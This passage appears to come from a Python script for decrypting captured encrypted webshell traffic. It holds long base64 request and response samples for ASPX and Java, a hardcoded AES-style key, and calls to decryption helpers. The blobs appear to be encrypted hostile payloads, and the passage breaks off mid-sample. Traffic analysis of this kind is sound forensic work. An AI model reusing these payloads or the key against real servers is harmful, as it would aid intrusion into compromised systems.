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')
124 | # aspx_res = base64.b64decode(b'ae7EwDOCAB//eFT4A8/HT4farRwtcZct+Be3GEEt3stu7sBQcBom5oPaNIq7pd4RuBAPe1n4BYaFHgyQ0jQk5BFywzlaCW58fuUNP1pCgCtFj8drzYqgF6PMYOY1DTC5fIN64cSLH9C4vgD8tuJ5EWHQSDbDPFlTbwmOlrlCu73SH2DFVLNSyyg42qBzyAol3yAskoAWx7cyP9cAyCq7tsltcN201fGgQEIIPqUZfoTVjUXiPD+A6npd/4WQbqkSVC7xHu2LbujogXnDjA7bnNtI2ACyynH7nPGg6x34KSnnSEQc1jjOo4flbdSdKvsFm3UU/eWlPV8L2Q/OSrwA8w/W+i7tCoxmafj/9auvrjUlsbgfaLmadRlHeGMLU256D0HT143P1Epljhpu0J6QJEPlG+A3fxBLrpJEa8vhPCOlQ+qm1sdVo9BlLkYJEynfwN3U9OOYcteDmAxEAWb1WPwrfHdQn/e8zJTmUqKnsfuz2E2qZYE0FOmXKoyuRYUWZ/D9CYpJJo/F7UAKY8zo4Fmy5FFrK80Dzal2LN9R6BQmA1A0vLu3O9s5z94tInf9sBSkQZuPaMXaq+azi2QfwBeEB41w3gWaHIfS7710OR3W6UbDnA5fuHCfbJEth7u+ewaH1I8dcftQBcl2RN9BogD7aupT1ZVYisF6Ek2tXlWCr1/5o4t6v0RPLgjYfzQZip39ui4JcZ9JWY+EWDHQ8QgYlfhzBGgDL/kDhar4TbvkCZ8wqVZegWGKcv0jtaMSzlvMT8MCOLcAG856lCEUPN2UY/zbbeihHJCdXCoOBtcGLAQj5hkcm9hyDjPQ2PdVW8Od7gb0jCeJb3E+2kc+f/2FgAcmXIgTzhYRt7euJ7syHQ8oVh/C5OLje7Q6A7sUYaPIl5N5p6HjSLMmIuVTKpcsB+NwglNaKA/+J+DyR9s9ykS+FBLZ2iTOrhtrnCgm1kvKf0/ZY+RKhR5IuseDH6hAMvn1wbEn8qBRV17ryTrScXVoZY0WBOXChOYRNnhDVHOp+0Sbxo5jdNpybveUZ6oQfy0ih1BFM8Q/+2XQP1D1zLoAw7/ls2eZER2qVa5ppyY5xA1hzYSLl6hb39CPxE10FYskOupcZ6uKfD/Gam/bsH4l1r6Oso6LG7aVVwLfdxahlBQ60KDw0K5fg+EPIh1Wt/JOR7BGxRA2dMP6eiYiHlZaPgsrfKP4jC7wVyLKUf2r7Nzk4ZjOYXLXnTqrX17lTH7wTPa6P+jUvCzcM9nZogGlrCv2jz1o4Q01TRuB3EizlHEoEIl5ryXDsD9Cpv7XEHabvx5Qkx9+3uhVslmMfISepvLNQFyY00TuH3RpAVf+bMWSeooTeIu70Q8f8Lxrp1AsGEFwrVSlPP35W49pvsUtbJrvOAJ3Izsxlsbf8WbmGaZXImZVUyVVQQKp/TNwUhhb0C0Wyqx9y5ScqQnnEEtGyNtbelYqAS/zgLFodidS+CjabW8ngCwbHlNYEPfFhsWTeYiWjPIaAdaGmXd8NXF67UMwAImbiTvz95ubMB2XMhvCrUT3GZbzvef3sDu3AXimuUxni+fDuVRbOLRr14oPCAXrB3Of2WMl13PSOBUrBlC+hpnFQR2kkMC9LBZ64brbWjA51VJnDEkobXIqhVK6Hsj/S43CeQC0fqwLIAOb0z2smO5+wKF6xIALC+376TTdrh6b7eKbgIh1N1ThlVIH5XAqwRDPyTTNjXyhZi2mWdBOdeIoW7+DBP8bzl/9Xgl0uwjZxa2/7tKOylrnR3UqGcsuSg+jixouscQQOsBaDujjZ+f68cxvU2aJz/misPXqYkgiUqOkUFb9vAFkPcmHgxymcsZX5ZyWFSi/vyA/ffiMesSKfJpcQCxZZnaaM2+qT5yDiKOsLguKAceh2+kQWUUhNvr5wl4iatiPptSgCEQTrkxQBm7qPuVcL6JcQbeFLcslQbt/tOsYm8tQgtuKzSvyCD0++puEqclSXl8tRr3RYhX9JewjMWT0lsM4XgARFfYhZXyCaJeRKrJACDJrjZD41FTIXgBihVSvQ9gOewRHkFZ1PcA9tTadxg5xYIZsP79P2QuE2PmSdjXSQijYMaXsB7jii5iabLuiWw4/pXNcOr5tionbfFAtQIh7RaYUjWS0H5WkN6zU9zHHDbFUPXlR6e6sWP6w8aveM9NjcX9Ih9G7WDSm49ZNJceErC4gLBXY1FxAUCQmsdOM1J8jKgwN92P11KaXaal058sTzv3PAxfO21e3W0FSsGKEqWq/6TP8740a+yJ+EL+aOy8vqYS0vyjKJJqIhKEgw1CP6ezXtVe6dwZc4I0TNoDKs81B/fFL189kN48yrWWQgvdlOkCKonl3SeC4i/9lKxfxdTRW117kteA532T4B95Js5qLmZeJSyT2iuSbEMo14Ad2ZqWrVDseVPnVBMFmmJ2XzN4QgTd3cEjkLbFizWXibt9BIQL3EYGp7LqifShTOvuBghQywR/Lj9eWW67eynLdGTZEj9U3vwMexX9JTWyoOycogFXMu2IXfxuuX+0gFFd316yljbSFvcND27vW273+qWoSkGJC8fX/bf5prmtzSYVawFj0ufBCGLYY9VL0Zq+mCNuzC4vxDuwWH/7QB2msKSpEkt/AjLRE9tNDrVZx1q6WW8QagIED1Ha+MRn6dnvm4TmZLP29M9RCGi8mrGxHahMYt9rJ/TJjGoYrklLBklSoLxMnGQQ4/oCOXeMiJABOyuQvyXLgGKHjwunfuQh7xEDeZ+4bJv7eI1jtaN/RJo2e9kg8lNSHB8G1fk0iJz79KGdTldzrt9TqpgLamGf/ocVeJ3f6EifULoTil8zPUYvEjtgxES/6VCZ38jPqHOIRs/pn3lc+mj0jGhYh4lR80bgKqi2qMc4AkaR7WeC3StXA38E31DbaiGbXEIxNcpmM4FUmOMJWwWTpAQ8cnaNhEA7zIvH82W6SQA1wzDmd3kacEPONIcc6wHxcNen1YufRQxE05TJKl3+vYhuTK1NQ0T3TRlYTjBpnFFp5xSwezHGycmodDWI+xjP6lCY4xxOfYG9u8oMXM5Uk75bz18/IkMOde6TN8TMCTG96ty9TEOWWcjoLgOrxSk9+WX4rmaWuEweyrJZH2zziEOxbIhL38w6f8UqF00xeNKk+sHTvXjO9inkalCood4dd+Csy/hx1EVULhLO8dKqM7Ayl7apju7toECC3T7rsJLqM94uSeHxujmF7siKWnF6U5LRzI6j7nkSkgStIyH6+idw9fDA01kgJVGf0AuEtWpUZ4Qk15XReQuHDZBBYZ/8x846IDDRSyDcd5JTWsOwhv0lsmHyZkxGbVNTgUDwTWOCng+ogE6pa/BRSY23mtyDXZKUfi8IQHEQ++DBccPMbAf3g1piJVF4gFDbv9L4Em+sGqemjRw8YQ7WoRSjAHSsYYKMD5W7A3ASW7CbVNv1rk96UVi9GdxLRQxOgKxxRBivXypPZlICDHdmmqVt5A9hDK0yx1+qpNlEPtvGyvBqQBLklbc0bYd01VP7cHzzE6fKuqoJfnltZU4sE+2bsYO2IDDO4HQbffKgG8mXRPWxlA5mDAXtG53xPyNALCMa4qpWGTnhMSENV3iRsgYMIdTElJhHsp0itplqxDZX0yOsVmrnBmk6nU1wRPhkGAe8YUoRy+hdSjjoEHX4ztS2ZC6bXdCjMkqVk7yEx71WHF1vMeraVxuZuq12HvKK0r1+TxpNGh+yWTI3oOkNOeI9Nkg/TTg3Jq5G+wYAx8OaBLX5a7yoZOzYRZpamrJTlJpy0mPm4Ui6Aoet6XDdzriRlZ9rvhrP0lC5jiio0IKKIsjSiZnA3H5hy01Q5Th9Z5XmLWDqtT6gMEEaow97RJBVd87ddlNhu8Eeis5GKkKb6XG1/MjxNhn+EajdtsnrFIEhxcgEdZuXOvwgXZ8NCV95xj8wEL+9dYoBoVD4oDHyYdd4U8l+nMyQf+9xYfsATcQR5CeMd+i3C2ZeybkXonKqRw9qnk3936flH7DuEENbRYrcYcHmojtTsQdZxf4g/kzh+mXg84631OSpZxyQhu+IC1bAeB4CYHwC5O/Lsck+11nHV4R8oWKBrMiMDwjvvzbJ5l23TBQ9gcPUf1agn+Xwsw3RBnWCBpm2NLpI4DhW12LiJZ2m56nfu48Rba3Xi2OEhPxya98wFt6BrbgdemGV8uhB+0kArH7sl1zKRDhewEacFddsLisOe3myu7TfHaAIQiuh8A5iQAhIiJBZ7keZt35Kydf+50qWZQYPWZwolPcn1cVQeciUd+ngxcoRzOXRu6qn3daKaojSxvM0hPJINfoFUo+rUsqcGkJumw+vAfbEJQQbgjmpUUt4+aTVqQyurILeNVP7JLOvTF0ZvwBOpRzV9psGFM9ROt2CO+UPXGYHR2BB3BMN/seU2L0cXXkRQ960W/APPtmp9pqH9Y5fbrllpt54S1aM4mT1g9Ri0EP7BavTRzo2aRNp/R4H7XsGCgVUwt9sJoOT2J2xQPc1ajP5ARmKJ5Jp24e9MqBoFjfF+pmW5')
125 | # data = csharp.decrypt_req_payload(aspx_req)
126 | # print(data)
127 | # data = csharp.decrypt_res_payload(aspx_res)
128 | # print(data)
129 |
130 | # JAVA
131 | java = JAVA(key='e45e329feb5d925b')
132 | java_req = b'''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